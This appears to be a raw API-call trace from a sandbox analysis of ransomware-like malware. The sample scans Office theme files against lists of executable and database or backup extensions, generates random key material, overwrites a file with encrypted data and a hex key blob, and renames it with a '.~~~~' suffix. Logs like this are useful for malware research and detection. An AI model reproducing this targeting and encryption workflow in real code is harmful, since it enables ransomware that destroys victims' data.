	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.199] lstrlenW (lpString=".FDB") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.199] lstrlenW (lpString=".EDB") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.199] lstrlenW (lpString=".DACPAC") returned 7
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.199] lstrlenW (lpString=".VHD") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.199] lstrlenW (lpString=".DBV") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.199] lstrlenW (lpString=".dacpac") returned 7
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.199] lstrlenW (lpString=".sdf") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.199] lstrlenW (lpString=".accdb") returned 6
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.199] lstrlenW (lpString=".DBX") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.199] lstrlenW (lpString=".MDT") returned 4
	[0086.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.200] lstrlenW (lpString=".SQB") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.200] lstrlenW (lpString=".vhd") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.200] lstrlenW (lpString=".bac") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.200] lstrlenW (lpString=".mdf") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.200] lstrlenW (lpString=".BAK") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.200] lstrlenW (lpString=".BAC") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.200] lstrlenW (lpString=".dbs") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.200] lstrlenW (lpString=".vhdx") returned 5
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.200] lstrlenW (lpString=".NDF") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.200] lstrlenW (lpString=".dat") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.200] lstrlenW (lpString=".DBS") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.200] lstrlenW (lpString=".CKP") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.200] lstrlenW (lpString=".edb") returned 4
	[0086.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.201] lstrlenW (lpString=".PST") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.201] lstrlenW (lpString=".dbf") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.201] lstrlenW (lpString=".SQL") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.201] lstrlenW (lpString=".pst") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.201] lstrlenW (lpString=".dbv") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.201] lstrlenW (lpString=".SDF") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.201] lstrlenW (lpString=".dtxs") returned 5
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.201] lstrlenW (lpString=".db3") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.201] lstrlenW (lpString=".OST") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.201] lstrlenW (lpString=".dbx") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.201] lstrlenW (lpString=".DB3") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.201] lstrlenW (lpString=".DAT") returned 4
	[0086.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.201] lstrlenW (lpString=".VHDX") returned 5
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.202] lstrlenW (lpString=".ndf") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.202] lstrlenW (lpString=".DB") returned 3
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.202] lstrlenW (lpString=".sql") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.202] lstrlenW (lpString=".MYD") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.202] lstrlenW (lpString=".DBT") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.202] lstrlenW (lpString=".ACCDB") returned 6
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.202] lstrlenW (lpString=".fdb") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.202] lstrlenW (lpString=".bak") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.202] lstrlenW (lpString=".myd") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.202] lstrlenW (lpString=".DTXS") returned 5
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.202] lstrlenW (lpString=".ckp") returned 4
	[0086.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.203] lstrlenW (lpString=".dbt") returned 4
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.203] lstrlenW (lpString=".db") returned 3
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.203] lstrlenW (lpString=".TXT") returned 4
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.203] lstrlenW (lpString=".MDF") returned 4
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.203] lstrlenW (lpString=".bdb") returned 4
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.203] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.203] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.204] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.204] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.205] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20619478009) returned 1
	[0086.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d302450, dwHighDateTime=0x1d60e1e)) 
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b58
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b58 | out: hHeap=0x300000) returned 1
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4460
	[0086.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0086.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.206] GetLastError () returned 0x0
	[0086.206] GetLastError () returned 0x0
	[0086.206] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.206] GetLastError () returned 0x0
	[0086.206] GetLastError () returned 0x0
	[0086.208] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff75f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.208] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x8a1, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8a1, lpOverlapped=0x0) returned 1
	[0086.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.209] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.209] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.209] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.209] CloseHandle (hObject=0x124) returned 1
	[0086.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.~~~~")) returned 1
	[0086.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.210] GetLastError () returned 0x0
	[0086.210] RtlWakeConditionVariable () returned 0x365f70
	[0086.210] GetCurrentThreadId () returned 0x9cc
	[0086.211] GetCurrentThreadId () returned 0x9cc
	[0086.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f45b0 | out: hHeap=0x300000) returned 1
	[0086.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b20 | out: hHeap=0x300000) returned 1
	[0086.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f45b0
	[0086.211] lstrlenW (lpString=".scr") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".scr") returned 0x0
	[0086.211] lstrlenW (lpString=".cmd") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".cmd") returned 0x0
	[0086.211] lstrlenW (lpString=".dll") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dll") returned 0x0
	[0086.211] lstrlenW (lpString=".bat") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".bat") returned 0x0
	[0086.211] lstrlenW (lpString=".cpl") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".cpl") returned 0x0
	[0086.211] lstrlenW (lpString=".sys") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".sys") returned 0x0
	[0086.211] lstrlenW (lpString=".msc") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".msc") returned 0x0
	[0086.211] lstrlenW (lpString=".com") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".com") returned 0x0
	[0086.211] lstrlenW (lpString=".lnk") returned 4
	[0086.211] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".lnk") returned 0x0
	[0086.211] lstrlenW (lpString=".msp") returned 4
	[0086.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".msp") returned 0x0
	[0086.212] lstrlenW (lpString=".pif") returned 4
	[0086.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".pif") returned 0x0
	[0086.212] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.212] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.213] lstrlenW (lpString=".sqb") returned 4
	[0086.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".sqb") returned 0x0
	[0086.213] lstrlenW (lpString=".ost") returned 4
	[0086.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".ost") returned 0x0
	[0086.213] lstrlenW (lpString=".txt") returned 4
	[0086.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".txt") returned 0x0
	[0086.213] lstrlenW (lpString=".mdt") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".mdt") returned 0x0
	[0086.214] lstrlenW (lpString=".BDB") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".BDB") returned 0x0
	[0086.214] lstrlenW (lpString=".eql") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".eql") returned 0x0
	[0086.214] lstrlenW (lpString=".DBF") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DBF") returned 0x0
	[0086.214] lstrlenW (lpString=".EQL") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".EQL") returned 0x0
	[0086.214] lstrlenW (lpString=".FDB") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".FDB") returned 0x0
	[0086.214] lstrlenW (lpString=".EDB") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".EDB") returned 0x0
	[0086.214] lstrlenW (lpString=".DACPAC") returned 7
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.214] lstrlenW (lpString=".VHD") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".VHD") returned 0x0
	[0086.214] lstrlenW (lpString=".DBV") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DBV") returned 0x0
	[0086.214] lstrlenW (lpString=".dacpac") returned 7
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dacpac") returned 0x0
	[0086.214] lstrlenW (lpString=".sdf") returned 4
	[0086.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".sdf") returned 0x0
	[0086.214] lstrlenW (lpString=".accdb") returned 6
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".accdb") returned 0x0
	[0086.215] lstrlenW (lpString=".DBX") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DBX") returned 0x0
	[0086.215] lstrlenW (lpString=".MDT") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".MDT") returned 0x0
	[0086.215] lstrlenW (lpString=".SQB") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".SQB") returned 0x0
	[0086.215] lstrlenW (lpString=".vhd") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".vhd") returned 0x0
	[0086.215] lstrlenW (lpString=".bac") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".bac") returned 0x0
	[0086.215] lstrlenW (lpString=".mdf") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".mdf") returned 0x0
	[0086.215] lstrlenW (lpString=".BAK") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".BAK") returned 0x0
	[0086.215] lstrlenW (lpString=".BAC") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".BAC") returned 0x0
	[0086.215] lstrlenW (lpString=".dbs") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dbs") returned 0x0
	[0086.215] lstrlenW (lpString=".vhdx") returned 5
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".vhdx") returned 0x0
	[0086.215] lstrlenW (lpString=".NDF") returned 4
